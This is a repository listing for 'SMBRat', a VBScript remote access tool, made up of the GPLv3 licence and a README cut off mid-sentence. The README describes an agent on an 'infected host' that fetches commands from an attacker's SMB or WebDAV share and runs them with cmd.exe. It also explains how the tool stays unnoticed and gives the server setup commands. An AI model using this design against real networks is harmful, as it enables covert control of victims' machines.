├── LICENSE ├── README.md ├── agent.vbs ├── handler.py ├── plugins └── .keep └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SMBRat 2 | A Windows Remote Administration Tool in *Visual Basic Script* 3 | 4 | 5 | ## Idea 6 | *Windows Environments* like *Active Directory* Networks, get really bloated with *SMB* traffic. 7 | 8 | All hosts get *Policies* from the *SYSVOL*, configurations need remote files to work, desktop shortcuts tend to point to ``\\something\else\in\the\network.exe``. 9 | 10 | None would notice one more connection attempt. *Right?* 11 | 12 | \- Especially if it succeeds (it is a fashion to only monitor *Firewall* ***Denies***) 13 | 14 | 15 | ## Ingredients 16 | 17 | 18 | ### Agent 19 | 20 | #### Documentation/Archiving Friendly 21 | The `agent` is a *Visual Basic Script* that runs on the infected host and connects to the *SMB Server*. It creates a directory in there named after the host's `hostname` and primary `MAC` address (trying to be *unique* and *informative* at the same time for reporting purposes). All commands and info for the infected Host will be stored in this directory. `zip`ping the whole Shared Folder will archive all project info! 22 | 23 | #### Stealthy 24 | It does **NOT** use a drive letter to *Mount* the Share, just uses `UNC paths` to directly read remote files (no *Drive* is created in `explorer.exe`). 25 | 26 | It also injects the `UNC path` into the `%PATH%` variable of its own execution environment (you can run executables directly from your Linux machine's filesystem). 27 | 28 | #### Agent's Execution 29 | 30 | The `agent` is configured to **run once**. **Statelessly**. 31 | 32 | It's Routine is (more-or-less) as follows: 33 | * It looks for a file named `exec.dat` in the folder it created in the *SMB Share* 34 | * If it finds the file, it **reads its content** and executes it as a command with `cmd.exe /c ` like a *semi-interactive shell*. 35 | * The command's response is stored in `output.dat` (next to `exec.dat`). 36 | * Deletes the `exec.dat` file. 37 | 38 | ##### [Wiki Page for Setting the *Agent*](https://github.com/operatorequals/SMBRat/wiki/Agent) 39 | 40 | 41 | 42 | ### Handler 43 | 44 | The `handler` needs an *SMB Server* to work. The `smbserver.py` module from [*Core Security's* `impacket`](https://github.com/coresecurity/impacket) package will do. 45 | 46 | Most probably `smbd` would also do the trick, but hasn't been tested yet. 47 | 48 | #### Setting up the *SMB Server* 49 | 50 | A share with name `D$` is needed, to look like a legit Windows host's SMB. 51 | 52 | ```bash 53 | # mkdir Share 54 | # smbserver.py -comment "My Share" "D$" Share/ 55 | Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies 56 | 57 | [*] Config file parsed 58 | [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 59 | [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 60 | [*] Config file parsed 61 | [*] Config file parsed 62 | [*] Config file parsed 63 | 64 | ``` 65 | #### The *WebDAV* case! 66 | As the `agent` is configured to only use UNC paths, WebDAV can also be used with **zero-changes**. 67 | Instead of an SMB server, a *WebDAV server* can be used (a great WebDAV server with SSL support is [wsgidav](https://github.com/mar10/wsgidav/)). 68 | 69 | ```bash 70 | # mkdir 'D$' 71 | # wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous 72 | [...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling 73 | [...] INFO : Lock manager: LockManager(LockStorageDict) 74 | [...] INFO : Property manager: None 75 | [...] INFO : Domain controller: SimpleDomainController() 76 | [...] INFO : Registered DAV providers by route: 77 | [...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous) 78 | [...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous) 79 | [...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL. 80 | [...] WARNING : Share '/:dir_browser' will allow anonymous read access. 81 | [...] WARNING : Share '/' will allow anonymous write access. 82 | [...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16 83 | [...] INFO : Serving on http://0.0.0.0:80 ... 84 | 85 | [...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status 86 | ``` 87 | For the SSL support, the UNC paths have to change slightly, from: 88 | ``` 89 | \\\DIR\ 90 | ``` 91 | to: 92 | ``` 93 | \\@SSL@443\DIR\ 94 | ``` 95 | This change can only be done to `ServerName` `agent.vbs` variable, as all paths are constructed by this. 96 | Keep in mind that the SSL certificates have to be **trusted by the system running the `agent`**. Self-signed Certificates **will fail** with 